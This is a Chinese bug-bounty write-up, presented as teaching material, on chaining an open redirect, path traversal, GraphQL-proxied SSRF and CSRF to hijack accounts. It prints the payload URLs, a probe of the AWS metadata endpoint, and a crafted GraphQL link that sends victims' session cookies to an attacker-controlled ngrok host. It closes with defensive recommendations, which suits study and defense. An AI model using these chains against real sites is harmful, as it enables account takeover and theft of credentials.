挖洞经验 | 开放重定向漏洞导致的账户劫持
字数 1376 2025-08-15 21:32:18
开放重定向、路径遍历与CSRF漏洞的综合利用教学文档
漏洞概述
本教学文档详细分析了一个通过综合开放重定向、路径遍历和CSRF漏洞实现账户劫持的案例。该案例展示了如何通过漏洞链式利用提升单个低危漏洞的危害等级。
漏洞发现与分析
1. 开放重定向漏洞
发现过程:
- 测试目标网站
https://target.com时发现异常重定向行为 - 构造请求
GET /api/..前添加两个/号,得到301重定向响应:HTTP 1.1 301 Location: //api/.. - 进一步构造链接
https://target.com///google.com//,成功跳转到外部域名
漏洞原理:
- URL解析器未正确验证和过滤重定向目标
- 允许使用
//和..等特殊字符构造恶意重定向
2. 路径遍历漏洞
发现过程:
- 注册网站账号并使用Burp Suite抓包
- 发现网站使用GraphQL API而非传统REST API
- 测试
GetAuthorizedApps变更请求时发现id参数为字符串类型 - 尝试特殊输入:
615601':返回API详细路径目录615601.:返回网站根目录路径
漏洞原理:
- URL解析库在请求前未正确处理路径遍历字符
- 允许通过特殊构造的输入泄露服务器路径信息
漏洞组合利用
1. 开放重定向+路径遍历=SSRF
利用过程:
- 确认GraphQL API可作为REST API代理
- 构造恶意GraphQL请求:
{ "query": "query GetUser($id: ID{\n GetUser(id: $id)\n}", "variables": {"ID": "12345"} } - 该请求会内部访问
https://target.com/api/user/12345 - 结合路径遍历和开放重定向构造SSRF:
- 使用ngrok服务作为接收端
- 构造请求使服务器访问
///XXXXXXXX.ngrok.io//
- 成功获取服务器发出的请求,包含敏感头信息
AWS元数据探测尝试:
- 尝试通过SSRF访问AWS元数据端点
169.254.169.254 - 因服务器要求JSON格式请求而失败
- 仍可用于内部网络架构探测
2. 结合CSRF实现账户劫持
关键发现:
- 发现
ZtsplXXXXXXX查询请求(与GetAuthorized类似但为普通查询) - GraphQL端点支持GET请求形式:
GET /graphql?query=query aTest($arg1: String {test(who: $arg1) }&operationName=aTest&variables={"arg1":"me"}
最终利用链:
- 构造恶意链接:
https://target.com/api/graphql/v2?query=query ZtSpXXXXXXXXX($id: ID { XXXXXXXXX(id: $id) { title steps headService { id name __typename } tailService { id name __typename } services { id name __typename } } }&variables={"id":"1234/xxxxxxx.ngrok.io//"} - 受害者点击链接时:
- 浏览器自动发送请求
- 服务器处理请求并尝试访问恶意路径
- 服务器会话cookie被发送到攻击者控制的ngrok服务
- 攻击者获取cookie后可劫持受害者账户
防御措施
1. 开放重定向防御
- 实现严格的白名单机制验证重定向目标
- 禁止重定向到外部域名
- 规范化URL处理,防止
//和..等特殊构造
2. 路径遍历防御
- 严格验证所有用户提供的路径参数
- 实现输入过滤,防止特殊字符注入
- 使用安全的路径解析库
3. CSRF防御
- 对敏感操作强制使用POST请求
- 实现CSRF令牌机制
- 设置SameSite cookie属性
4. GraphQL API安全
- 禁用GET请求方式的GraphQL查询
- 实现查询白名单或深度限制
- 对敏感操作实施额外认证
总结
本案例展示了如何通过组合多个中低危漏洞实现高危的账户劫持攻击。关键在于:
- 发现并验证每个独立漏洞
- 分析漏洞间的潜在交互方式
- 构造链式利用提升总体危害
- 通过外部服务验证攻击效果
安全团队应重视此类链式攻击,即使单个漏洞评级不高,组合利用也可能造成严重后果。